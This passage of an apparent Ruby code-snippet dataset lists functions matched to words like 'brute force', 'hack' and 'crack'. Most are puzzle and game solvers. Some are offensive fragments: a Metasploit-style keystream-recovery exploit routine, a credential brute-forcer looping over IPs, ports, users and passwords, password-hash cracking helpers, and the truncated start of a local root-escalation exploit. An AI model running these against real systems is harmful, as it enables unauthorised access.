next_addr >= stop[k]) or\n (direction[k] == -1 and curr[k] + next_addr < stop[k]))\n stopped << k\n next\n end\n end\n\n # If it's not time to stop, move it\n curr[k] += next_addr\n }\n end\n else\n single_exploit\n end\n end", "def get_hint(secret, guess)\n bulls = 0\n cows = 0\n\n tracker = Hash.new(0)\n secret.each_char { |char| tracker[char] += 1 }\n guess.each_char.with_index do |char, i|\n if secret[i] == guess[i]\n bulls += 1\n if tracker[char] > 0\n tracker[char] -= 1\n else\n cows -= 1\n end\n elsif tracker[char] > 0\n tracker[char] -= 1\n cows += 1\n end\n end\n\n \"#{bulls}A#{cows}B\"\nend", "def dictionary_attack()\n puts \"Entered Attack\"\n $encoded.each do |i|\n #Process clock time looks at the monotonic clock which maximizes accuracy and prevents time skips (each call gets the system time)\n starting = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n #Querries the hash map to find the given element of the encoded passwords\n hash = $digest[i]\n elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - starting\n $f.write(\"The password for the hash value #{i} is #{hash}, it takes the program #{elapsed} sec to recover this password.\\n\")\n end\nend", "def brute_force_iterative_solve(game)\n\tcursor = 0\n\n\tuntil cursor == 81\n\n\t\tif game[cursor][:fixed]\n\t\t\tcursor += 1\n\t\telse\n\t\t\tif verify?(game) && game[cursor][:value] > 0 && game[cursor][:value] <= 9\n\t\t\t\tcursor += 1\n\t\t\telsif game[cursor][:value] < 9\n\t\t\t\tgame[cursor][:value] += 1\n\t\t\telsif game[cursor][:value] >= 9\n\t\t\t\tgame[cursor][:value] = 0\n\t\t\t\tcursor = prev_guess(game, cursor)\n\t\t\t\tgame[cursor][:value] += 1\n\t\t\tend\n\t\tend\n\n\t\tdisplay_current(game)\n\tend\n\n\treturn game\nend", "def hack(words)\n candidates = words.clone\n word_to_guess = candidates.pop\n\n while !candidates.empty?\n puts \"Try the word: #{word_to_guess}\"\n puts \"What was the likeness?\"\n\n key_likeness = gets.to_i\n if key_likeness == word_to_guess.length\n puts \"Nicee hackeeer!!\"\n break\n end\n\n words.each do |word|\n next if !candidates.include?(word)\n\n likeness = get_likeness(word_to_guess, word)\n\n if key_likeness == 0\n candidates -= [word] if likeness > 0\n else\n candidates -= [word] if likeness < key_likeness\n end\n end\n\n puts \"Candidates left: #{candidates.join(', ')}\"\n word_to_guess = candidates.pop\n end\nend", "def cracked?(secret_password_hash, potential_password,salt,iteration,option)\n pass = hash(salt,potential_password,iteration)\n if option ==\"-v\"\n printf(\"\\r%-15s\",\"#{potential_password}\")\n end\n secret_password_hash == pass\n\n\nend", "def part2(program)\n special = 19690720\n (0..99).to_a.repeated_permutation(2).each do |noun, verb|\n input = program.dup\n input[1] = noun\n input[2] = verb\n\n output = run(input)\n puts \"noun = #{noun}, verb = #{verb}, output = #{output[0]}\"\n if output[0] == special\n return [noun, verb]\n end\n end\n puts \"fuck\"\n return [-1, -1]\nend", "def test_recognize_successfully_cracked\n\t\tguess = 'axel'\n\t\ttarget = Digest::MD5.hexdigest(guess)\n\n\t\tassert @pass_cracker.successfully_cracked?(guess, target)\n\tend", "def prepare_preferred_algorithms!; end", "def brute_force_matches string, pattern\n i = 0\n pos = []\n while i + pattern.length - 1 < string.length\n pos << i if string[i..(i + pattern.length - 1)] == pattern\n i += 1\n end\n pos\nend", "def permuted_nums()\r\n\t# *2...*6 must have the same digits (and length) as the original.\r\n\t# That's why the first character must be 1.\r\n\t# And the second character must be less that 7.\r\n\trunner = 123455\r\n\tmax = 170000\r\n\twhile runner < max\r\n\t\trunner += 1\r\n\t\t\r\n\t\tmult_count = 1\r\n\t\t(2..6).each{ |mult_num| \r\n\t\t\ttmp = runner * mult_num\r\n\t\t\t\r\n\t\t\tif !is_permutation_of(tmp, runner)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\t\tif mult_num == 6\r\n\t\t\t\treturn runner\r\n\t\t\tend\r\n\t\t\tmult_count += 1\r\n\t\t}\r\n\tend\r\n\tputs ''\r\n\treturn false\r\nend", "def find_exact_match\n exact = 0\n index = 0\n 4.times.map do\n if @temp_code[index] == @temp_guess[index]\n exact += 1\n @temp_code.delete_at(index)\n @temp_guess.delete_at(index)\n else\n index += 1\n end\n end\n exact\n end", "def hard(string)\n hasher = KnotHash.new(256, string.bytes + [17, 31, 73, 47, 23])\n 64.times { hasher.round }\n hasher.hash\nend", "def crypto_attack(exploit_string)\r\n getsin_msg = fetch_getsin\r\n if getsin_msg.nil?\r\n return nil\r\n end\r\n\r\n getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'\r\n keystream = get_keystream(getsin_msg, getsin_kp)\r\n\r\n if keystream.length < exploit_string.length\r\n missing_bytecount = exploit_string.length - keystream.length\r\n\r\n print_status(\"Missing #{missing_bytecount} bytes of keystream ...\")\r\n\r\n inferrence_segment = ''\r\n brute_max = 4\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Using inferrence attack ...\")\r\n\r\n # Offsets to monitor for changes\r\n target_offset_range = []\r\n for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)\r\n target_offset_range << i\r\n end\r\n\r\n # Store inference results\r\n inference_results = {}\r\n\r\n # As long as we haven't fully recovered all offsets through inference\r\n # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]\r\n getsin_observation = [''] * 4\r\n buffer_head = 0\r\n\r\n for i in 0..2\r\n getsin_observation[i] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n end\r\n\r\n buffer_tail = 3\r\n\r\n # Actual inference attack happens here\r\n while !target_offset_range.empty?\r\n getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n\r\n # We check if we spot a change within a position between two consecutive items within our circular buffer\r\n # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0\r\n target_offset_range.each do |x|\r\n index = buffer_head\r\n\r\n while index != buffer_tail do\r\n next_index = (index + 1) % 4\r\n\r\n # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same\r\n # observations as well while being constant in at least one previous or subsequent observation\r\n if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))\r\n target_offset_range.delete(x)\r\n inference_results[x] = xor_strings(getsin_observation[index][x], '9')\r\n break\r\n end\r\n index = next_index\r\n end\r\n end\r\n\r\n # Update circular buffer head & tail\r\n buffer_tail = (buffer_tail + 1) % 4\r\n # Move head to right once tail wraps around, discarding oldest item in circular buffer\r\n if buffer_tail == buffer_head\r\n buffer_head = (buffer_head + 1) % 4\r\n end\r\n end\r\n\r\n # Inferrence attack done, reconstruct final keystream segment\r\n inf_seg = [\"\\x00\"] * (keystream.length + missing_bytecount)\r\n inferrence_results.each do |x, val|\r\n inf_seg[x] = val\r\n end\r\n\r\n inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join\r\n missing_bytecount = brute_max\r\n end\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Improper keystream recovery ...\")\r\n return nil\r\n end\r\n\r\n print_status(\"Initiating brute force ...\")\r\n\r\n # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)\r\n charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\r\n char_range = missing_bytecount.times.map { charset }\r\n char_range.first.product(*char_range[1..-1]) do |x|\r\n p = x.join\r\n candidate_plaintext = getsin_kp + p\r\n candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment\r\n filedata = try_exploit(exploit_string, candidate_keystream, true)\r\n\r\n if !filedata.nil?\r\n return filedata\r\n end\r\n end\r\n return nil\r\n end\r\n\r\n try_exploit(exploit_string, keystream, false)\r\n end", "def prepare_game()\n @letters = @maxwords[rand(@maxwords.size-1)].shuffle\n @candidates = []\n @words.each { |w| @candidates << w if w.build_outof?(@letters) }\n @candidates = @candidates.uniq\t\t# this fixed duplicated entries\n @candidates = @candidates.sort {|x,y| x.length <=> y.length } \n @found_candidates = @candidates.collect { false }\n end", "def captcha2(input, dist_fun)\n input.select.each_with_index { |d, i| d == input[(i + dist_fun.call(input)) % input.size] }.sum\nend", "def Lexicographic(myString)\n\n origArray = myString.split(//)\n newArr = origArray.permutation.to_a\n counter = 1\n newArr.each do |x|\n if counter == 1000000\n print counter, \"--> \", x.join, \"\\n\"\n break\n else\n counter = counter + 1\n end\n end\nend", "def permutation_checker(base_word, possible_permutation)\n # write your code here\nend", "def next_unattempted\n fewest_potential_pairs(unattempted_people)\n end", "def get_seed(modulus, target)\n cmd = \"javacg -n #{target.size} -l #{modulus}\"\n\n seed = nil\n IO.popen(cmd, \"r+\") do |pipe|\n target.each { |i| pipe.puts i }\n pipe.close_write\n\n # Look for an answer\n while (true)\n str = pipe.gets\n if (str =~ /Next seed = (\\d*)$/)\n return($1.to_i)\n elsif (str =~ /Seed not found/)\n puts \"Seed is not found: too short or not Java PRNG.\"\n exit -1\n end\n end\n end\nend", "def brute_resolve(num)\n while num != 1 && num != 89 do\n num = shrink num\n end\n num\nend", "def hacking_attempts(dictionary_name, pass)\n data_pass = File.open(\"#{dictionary_name}.txt\").read.split(\"\\n\")\n attempts = 0\n data_pass.each do |e|\n if e != pass\n attempts += 1 \n else\n return attempts\n end\n end\nend", "def solve\n perms = (1..9).to_a.permutation.map {|p| p.join}\n prods = []\n\n perms.each do |p|\n (1..2).each do |len|\n a, b, c = p[0, len].to_i, p[len..4].to_i, p[5, 4].to_i\n prods << c if a * b == c\n end\n end\n \n prods.uniq.reduce( :+ )\n end", "def test_transform(f1,f2,hashpass,salt,iteration,option)\n succes = nil\n begin\n datastring = \"\"\n File.open(f1).each do |line|\n datastring = datastring + line.gsub(\"a\",\"4\")\n end\n\n file2 = File.new(f2,\"w\")\n file2.write(datastring)\n file2.close\n counter = 1\n lines = File.foreach(f2).count\n File.open(f2).each do |line|\n if option == \"-v\"\n fr = counter * (100.0/lines)\n printf(\"\\r%15s: [%-100s]\",\"#{line.chomp}\", \"=\" * (fr))\n end\n if cracked?(hashpass, line.chomp,salt,iteration,option)\n return succes = line\n end\n counter +=1\n end\n puts \"\"\n succes\n\n rescue => err\n puts \"Exception: #{err}\"\n end\nend", "def algorithm=(_); end", "def algorithm=(_); end", "def algorithm=(_); end", "def algorithm=(_); end", "def generate_password\n ['test', 'guest'].sample\nend", "def salt() 'monkeynutzzSfaKT7CwImCHCH8Ow' end", "def valid_passwords(input)\n # Filter map is fun. If the output is falsy it filters it out, otherwise it\n # keeps our shiny new transformed output. Think of it as combining `select`\n # and `map` into one function. I believe it was added in 2.7\n input.filter_map do\n # Yes yes, english operators are evil and I should quit stealing from Perl\n # early escapes. It's still useful as `next` returns `nil` if `extract_password`\n # happens to return `nil`, meaning no matches, or an invalid line of input.\n extracted_password = extract_password(_1) or next\n\n # Now this line is fun! This is why we transformed the input into symbol\n # keys. This is one-line right hand assignment, which means each of those\n # keys are now valid variables we can use in the rest of the function.\n #\n # I may well ask if MatchData can behave more like this naturally later,\n # could you imagine how useful that'd be?\n extracted_password => {\n input:, low_count:, high_count:, target_letter:, password:\n }\n\n # Now to make those counts into ints we can use.\n low_count = low_count.to_i\n high_count = high_count.to_i\n\n # Then pull out the counts of each letter in the word, and get\n # only our target letter out of it. Again, not the most efficient, but\n # not the point of this exercise. Optimizing that is left as an\n # exercise to the reader.\n target_letter_count = letter_counts(password)[target_letter]\n\n # Now then, if that target letter count is between our high and low\n # bounds we return the input, otherwise we return `nil` meaning it's\n # invalid and it gets filtered out.\n (low_count..high_count).include?(target_letter_count) ? input : nil\n end\nend", "def make_guess(secret_code)\n if guess == [0, 0, 0, 0]\n first_guess\n return guess\n end\n reduce_solution_set(secret_code)\n update_guess\n guess\n end", "def picky_procipher(sent, hash)\r\n new_sent = []\r\n found = false\r\n sent.split(\" \").each do |word|\r\n hash.each do |k, v|\r\n found = false\r\n if k.call(word)\r\n new_sent << v.call(word)\r\n found = true\r\n break \r\n end\r\n end\r\n new_sent << word if !found\r\n end\r\n new_sent.join(\" \")\r\nend", "def is_permutation(string1, string2)\n puts \"not implemented\"\nend", "def obfuscate(text); end", "def guess(word_pattern, possible_words)\n all_words = possible_words.flatten\n guess = $avail_letters.sort_by {|c|\n all_words.select{|w|w.index c}.length}.last\n $avail_letters -= [guess]\n $guess = guess\nend", "def guess_password(attempt)\n SlowEquality.str_eql?(REAL_PASSWORD, attempt)\n end", "def deduce\n while true\n stuck, guess, count = true, nil, 0\n # fill in any spots determined by direct conflicts\n allowed = board.allowed_numbers\n (0..80).each do |index|\n if board.board[index].nil?\n numbers = bits_to_numbers(allowed[index])\n if numbers.size == 0\n return [] # Return nothing if no possibilitie E\n elsif numbers.size == 1\n board.board[index] = numbers[0]\n stuck = false\n break\n elsif stuck\n new_guesses = numbers.map { |n| [index, n] }\n guess, count = pickbetter(guess, count, new_guesses)\n end\n end\n end\n\n if !stuck\n allowed = board.allowed_numbers\n end\n needed = board.needed_numbers\n\n # fill in any spots determined by elimination of other locations.\n # For any given column, find which numbers it is missing,\n # And figure out which positions allow those numbers - if only\n # one position allows it, the number goes there.\n #\n # If more than one spot is available, add to the guesses.\n board.coordinate_systems.each do |axis|\n (0..8).each do |x|\n numbers = bits_to_numbers(needed[axis_index(x, axis)])\n numbers.each do |n|\n bit = 1 << n\n # spots =for this number & col, all positions that allow the needed\n # numbers\n spots = []\n\n (0..8).each do |y|\n index = board.index_for(x, y, axis)\n # if this position allows the needed number, add it to spots\n if allowed[index] & bit\n spots << index\n end\n end\n\n if spots.length == 0\n return []\n elsif spots.length == 1\n board.board[spots[0]] = n\n stuck = False\n break\n elsif stuck\n new_guesses = spots.map { |index| [index, n] }\n guess, count = pickbetter(guess, count, new_guesses)\n end\n end\n end\n end\n\n if stuck\n guess.shuffle! unless guess.nil?\n return guess\n end\n end\n end", "def where_to_put_secret(index)\n (0...48).each do |b|\n if index[b] == 1\n return b\n end\n end\n # I = 0, this is the seed.\n 48\n end", "def scramble(s1,s2)\n pile_of_letters = s1.chars\n target_letters = s2.chars\n target_letters.uniq.all? { |letter| pile_of_letters.count(letter) >= target_letters.count(letter) }\nend", "def first_anagram?(string, strong)\n anagram = string.chars.permutation.to_a\n anagram.include?(strong.split(''))\nend", "def guess(word_pattern, possible_words)\r\n all_words = possible_words.flatten\r\n guess = $avail_letters.sort_by {|c|\r\n all_words.select{|w|w.index c}.length}.last\r\n $avail_letters -= [guess]\r\n $guess = guess\r\nend", "def find_hash(possible_words, known_anagram, known_md5s, start, n = 3)\n cpus = Parallel.processor_count\n puts \"Total number of iteration: #{possible_words.length**n}\"\n puts \"You got #{cpus} cores\"\n\n hash_table = get_hash_table(known_anagram)\n known_hash = get_hash(known_anagram, hash_table)\n\n Parallel.map(possible_words, in_processes: cpus) do |w1|\n possible_words.each do |w2|\n possible_words.each do |w3|\n # Print every ten million iteration\n phrase = \"#{w1} #{w2} #{w3}\"\n\n # Allow only equal size phrases\n next unless phrase.length == known_anagram.length\n\n # Allow only equal hash phrases\n hash = get_hash(phrase, hash_table)\n next unless hash == known_hash\n\n # All only equal md5 phrases\n md5 = Digest::MD5.hexdigest phrase\n next unless known_md5s.include?(md5)\n\n puts \"#{phrase} #{md5} (#{Time.now - start}s)\"\n end\n end\n end\nend", "def test_seqence_valid19\n result = engine(\"TrumppasswORd12%\")\n refute(result, \"'Trump1%' should not be valid because it contains password.\")\n end", "def hint(workingSet)\n setFound = false\n for i in workingSet\n for j in workingSet\n for k in workingSet\n if(!(i == k || j == k || i == k))\n setFound = VerifySet?(i,j,k)\n if(setFound)\n return i\n break\n end\n end\n end\n end\n end\n if(setFound == false)\n return nil\n end\nend", "def first_anagram(word1, word2) #the worst \r\n word1.chars.permutation.to_a.any? { |sub| sub.join == word2 } \r\nend", "def rehash() end", "def breakXORCipher(cipherText)\n scoredTexts = Hash.new\n \n #Try all ASCII keys from \n for i in 32..126 do\n keyChar = i.chr\n \n possiblePlaintext = hexToASCII(singleByteXOR(cipherText.upcase, keyChar))\n scoredTexts[keyChar] = scorePlaintext(possiblePlaintext)\n \n if(scoredTexts[keyChar] == possiblePlaintext.length)\n puts cipherText\n puts possiblePlaintext \n puts keyChar + \" scored \" + scoredTexts[keyChar].to_s\n end\n end\nend", "def test_permute_valid\n word = ['abc']\n exp = ['abc','acb','bca','cab','cba','bac'].sort\n assert_equal exp, @grapher.permute(word).sort\n end", "def solve_block(input, target, mode)\n nonce = 0\n solved = false\n hash = \"\"\n loop do\n input_with_nonce = input + nonce.to_s\n hash = get_hash(input_with_nonce)\n nonce = nonce + 1\n\n if (mode == \"zero\") then\n if (hash.start_with?(target)) then\n solved = true\n end\n else\n if (hash.hex < target) then\n solved = true\n end\n end\n\n if (solved) then\n return [hash, nonce]\n end\n end\nend", "def cheat!(letters) \n reset_trie!\n letters.chars.each_with_index do |letter, index|\n x, y = index.divmod(4)\n @board[x][y].replace letter\n end\n end", "def brute_force\n results = []\n self.users = file_to_enum(self.users)\n self.passwords = file_to_enum(self.passwords)\n self.ips = file_to_enum(self.ips)\n self.ports = file_to_enum(self.ports)\n \n self.ips.each do |ip|\n ip = ip.strip\n self.ports.each do |port|\n port = port.strip\n self.users.each do |user|\n user = user.strip\n self.passwords.each do |password|\n password = password.strip\n \n if able_to_login? ip: ip, port: port, user: user, password: password\n result = format_result(\"SUCCESS\", ip, port, user, password)\n\t\t\t\t\t\t\telse\n result = format_result(\"FAILURE\", ip, port, user, password)\n\t\t\t\t\t\t\tend\n \n results << result\n yield result if block_given?\n end\n end\n end\n end\n results\n end", "def scramble_string(string, positions)\nend", "def brute_force (n)\n if n <= 1\n return false\n elsif n == 2\n return true\n #elsif n % 2 == 0 return false\n elsif n.even?\n return false\n else\n m = Math.sqrt(n)\n i = 3 #fuck ruby's lack of good for loops\n while i <= m\n return false if n % i == 0\n i += 2\n end\n end\n return true\n end", "def isCryptSolution(crypt, solution)\n match = {}\n solution.each do |set|\n match[set[0]] = set[1]\n end\n\n nums = []\n temp = \"\"\n crypt.each do |word|\n word.each_char do |let|\n temp += match[let]\n end\n if temp[0] == '0' && temp.size > 1\n return false\n end\n nums << temp.to_i\n temp = \"\"\n end\n nums[0,2].reduce(:+) == nums.last\nend", "def bruteforce?\n return (bruteforce != nil)\n end", "def negotiate(algorithm); end", "def solve\n return ((1..40).inject(:*) / ((1..20).inject(:*) ** 2))\nend", "def solver (seed_char, blanks_words_sizes, matrix)\n\t# Set numerical target\n\ttarget = magic_num(seed_char)\t\n\t# Find magic number sum buckets\n\tskynet(target, blanks_words_sizes, blanks_words_sizes.length - 1, 0, [])\n\t# Alphabetical sort input matrix\n\tsorted_seed_char = seed_char.chars.sort.join\t\n\n\t# Find unique sets from skynet solutions\n\t$answer[:trace].each do |arrOarr|\n\t\tarrOarr.sort!\n\tend \n\n\t$answer[:trace].uniq!\t\n\t\n\t# Finds match for complete set of words from skynet solutions\n\t$answer[:trace].each do |answer_arr_el|\t\t\t\t\n\t\tunordered_match(sorted_seed_char, matrix, answer_arr_el, answer_arr_el.length - 1, \"\", [])\n\t\t# Can be ignored\n\t\t$ops += $seed[answer_arr_el[0][0]][:num_groups][answer_arr_el[0][1]].length *\n\t\t\t$seed[answer_arr_el[1][0]][:num_groups][answer_arr_el[1][1]].length *\n\t\t\t$seed[answer_arr_el[1][0]][:num_groups][answer_arr_el[1][1]].length *\n\t\t\t$seed[answer_arr_el[1][0]][:num_groups][answer_arr_el[1][1]].length\t\t\n\tend\n\t\n\treturn $answer[:words]\nend", "def dr_evils_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Check out this method in IRB to see how it works! Also refer to the Ruby docs.\n decoded_sentence = []\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\",\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n\n input.each do |x| # What is #each doing here?\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\n cipher.each_key do |y| # What is #each_key doing here?\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\n decoded_sentence << cipher[y]\n found_match = true\n break # Why is it breaking here?\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #What the heck is this doing?\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \" (0..9).to_a \" do?\n decoded_sentence << x\n found_match = true\n break\n end\n end\n if not found_match # What is this looking for?\n decoded_sentence << x\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n #What is this method returning?\nend", "def alg; end", "def is_palindrome_permutation()\n puts \"not implemented\"\nend", "def proof_of_work(client)\n value = SecureRandom.hex(16)\n work = Digest::SHA2.hexdigest value\n client.puts \"Please provide proof of work for: SHA2(????#{value[4..-1]}) == #{work}\"\n client.print '? '\n pow = Digest::SHA2.hexdigest client.gets.chomp\n return true if pow == work\n\n # Show source as implementation reference if PoW fails\n client.puts File.read __FILE__\n client&.close\nend", "def get_public(phi)\n (2...phi).find_all {|e| e.gcd(phi) == 1}.sample\nend", "def until_position(guess_accuracy)\n return if guess_accuracy =~ /\\*{4}/\n\n shift_indices = []\n values_to_shift = []\n guess_accuracy.split('').each_with_index do |acc, i|\n shift_indices.push(i) and values_to_shift.push(guess[i]) if acc == '_'\n end\n shuffle_guess(shift_indices, values_to_shift)\n puts \"shifted.... let me check my previous permutations... #{previous_shuffles}\" unless previous_shuffles.empty?\n end", "def first_anagram?(string1,string2)\n new_strings = string1.chars.permutation.to_a\n new_strings.include?(string2.chars)\n\nend", "def solve(a, b, k)\n alpha = ('a'..'z').to_a\n a.each_char.with_index do |char, idx|\n temp = char\n until temp == b[idx]\n k -= 1\n temp = alpha[(alpha.index(temp) + 1) % alpha.length]\n end\n end\n return k >= 0\nend", "def phase_one?(str1,str2)\n dictionary = str1.chars.permutation.to_a\n dictionary.include?(str2.chars)\nend", "def next_hack(n)\n return n.next if hack? n.next\n next_hack n.next\nend", "def test_characters_added_to_valid_password\nresult = add_characters_if_valid(\"shawn\")\nassert_equal(\"xX_shawn_Xx\", result)\nend", "def fix_fucked_worlds\n worlds_to_change = [6, 7, 13, 15, 19, 20, 23, 24, 31, 32, 38, 39, 40, 47, 48, 55, 56, 57, 74, 78, 109, 110, 111, 118, 119, 120, 121, 122, 123, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146]\n available_worlds = RsWorld.select{|world| !worlds_to_change.include?(world.number.to_i)}\n worlds_to_change.each do |world|\n world += 300\n rs_world = RsWorld.where(number: world).first\n if rs_world != nil\n accounts = Account.where(banned: false, created: true,world: world)\n puts \"#{rs_world}:#{accounts.size}\"\n accounts.each do |acc|\n new_world = available_worlds.sample\n acc.update(rs_world: new_world)\n acc.update(world: new_world.number)\n acc.save\n puts acc.username\n end\n end\n end\nend", "def reveal_matches(letter)\n hits = []\n i = 0\n @secret.split(\"\").each do |c|\n hits << i if c == letter\n i += 1\n end\n hits.each do |i|\n @solution[i] = letter\n end\n return @solution\n end", "def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend", "def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend", "def nostalgia; return rand end", "def game_of_bottles\n n = gets.chomp\n bottles = []\n\n i = 0\n while i < n.to_i\n x, y = gets.chomp.split(/\\s/)\n bottles[i] = Bottle.new(x, y)\n i = i + 1\n end\n\n paths = []\n permutations = bottles.permutation.to_a\n\n permutations.each { |p| paths << calculate(p) }\n min = paths.min\n p min\nend", "def make_up_password\n\to = [('a'..'z'), ('A'..'Z'), ('0'..'9')].map { |i| i.to_a }.flatten\n\tpass = (0...12).map { o[rand(o.length)] }.join + \"@\"\n\tputs \"Using #{pass} for password\\n\"\n\treturn pass\nend", "def solve(minemap, miner, exit, answer = [])\n# this block sets variables for dimension max indexes\n# declares variables for the current miner position\n# declares variables for the exit position\n# I did this for easier manipulation of the values\n# than referring to and changing a hash constantly\n# it also sets up an array possible values the map\n# can take on, with the direction a miner should travel\n# replacing true, which signals to the miner that he\n# should not return to that position (probably not necessary\n# because false would work just as well unless two branches\n# are both valid, but right, left, up, down could probably\n# be eliminated\n\n x_max = minemap.size - 1\n y_max = minemap[0].size - 1\n x = miner['x']\n y = miner['y']\n ex = exit['x']\n ey = exit['y']\n walls = %w(right left up down branch)\n walls.push(false)\n\n# copying the map so it can be manipulated (again, probably\n# not necessary and, even if it is, my copy_array should be\n# expanded to multi dimensional arrays)\n\n copy = Array.new(x_max+1){Array.new(y_max+1)}\n (0..x_max).each do |x|\n (0..y_max).each do |y|\n copy[x][y] = minemap[x][y]\n end\n end\n\n# loops while not at exit\n\n while x != ex || y != ey\n\n# sets a boolean array to 4 trues, then checks\n# each possible move to false if unavailable\n\n rlud = [true, true, true, true]\n rlud[0] = false if x == x_max || walls.include?(copy[x+1][y])\n rlud[1] = false if x == 0 || walls.include?(copy[x-1][y])\n rlud[2] = false if y == 0 || walls.include?(copy[x][y-1])\n rlud[3] = false if y == y_max || walls.include?(copy[x][y+1])\n\n# if there is nowhere to turn, the answer array is set to an array \n# of size equal to thenumber of elements in the map, because this \n# number is more than the possible number of steps the miner could\n# take in an actual solution, then returns this array as answer\n# this signals the previous call of solve that the branch was a \n# dead end (this will not happen on the first iteration by if\n# the initial conditions are valid)\n\n answer = Array.new((x_max + 1) * (y_max + 1)) if rlud.count(true) == 0 \n return answer if rlud.count(true) == 0\n\n# if there is only one path (only one true in the boolean array)\n# then the position is updated, the step is pushed to the answer\n# array and the copy of the original position is set to a string\n# indicating the miner must travel\n\n if rlud.count(true) == 1 \n if rlud[0] == true\n copy[x][y] = \"right\" \n answer.push('right')\n x += 1\n elsif rlud[1] == true\n copy[x][y] = \"left\" \n answer.push('left')\n x -= 1\n elsif rlud[2] == true\n copy[x][y] = \"up\" \n answer.push('up')\n y -= 1\n else\n copy[x][y] = \"down\"\n answer.push('down')\n y += 1 \n end \n\n# if there is more than one possible move, this section\n# calls the branch explore with the direction to explore\n# as one parameter and a copy of the answer to be appended \n# to in case a valid path is found, if a dead end is reached\n# branch_explore will mark the initial branch position as false\n\n else\n copy[x][y] = false\n if rlud[0] == true\n r = copy_array(answer)\n r = branch_explore(copy, 'right', exit, r, x, y, x_max, y_max)\n end \n if rlud[1] == true\n l = copy_array(answer)\n l = branch_explore(copy, 'left', exit, l, x, y, x_max, y_max)\n end\n if rlud[2] == true\n u = copy_array(answer) \n u = branch_explore(copy, 'up', exit, u, x, y, x_max, y_max)\n end\n if rlud[3] == true\n d = copy_array(answer)\n d = branch_explore(copy, 'down', exit, d, x, y, x_max, y_max)\n end\n\n# this section pushes the answer arrays that are valid paths to\n# a branch array \n\n branch_array = [] \n branch_array.push(r.size) if x != x_max && copy[x+1][y].to_s == \"branch\"\n branch_array.push(l.size) if x != 0 && copy[x-1][y].to_s == \"branch\"\n branch_array.push(u.size) if y != 0 && copy[x][y-1].to_s == \"branch\"\n branch_array.push(d.size) if y != y_max && copy[x][y+1].to_s == \"branch\"\n\n# this determines which of the potential valid paths is shorts and \n# set the answer to that array\n \n min = branch_array.min\n answer = copy_array(r) if r != nil && r.size == min\n answer = copy_array(l) if l != nil && l.size == min\n answer = copy_array(u) if u != nil && u.size == min\n answer = copy_array(d) if d != nil && d.size == min\n end\n end\n\n# return the answer\n\n answer\nend", "def bijective_encode\n \t# from http://refactormycode.com/codes/124-base-62-encoding\n \t# with only minor modification\n \t# return ALPHABET[0] if i == 0\n \t# s = ''\n \t# base = ALPHABET.length\n \t# while i > 0\n \t# \ts << ALPHABET[i.modulo(base)]\n \t# \ti /= base\n \t# end\n \t# s.reverse + SecureRandom.hex(5 - s.length)\n \tSecureRandom.hex(4)\n end", "def exploit\r\n if check == CheckCode::Safe\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n if is_root?\r\n fail_with Failure::BadConfig, 'Session already has root privileges'\r\n end\r\n\r\n unless cmd_exec(\"test -w '#{base_dir}' && echo true\").include? 'true'\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n# Cรณdigo C\r\n\r\n main = %q^\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include 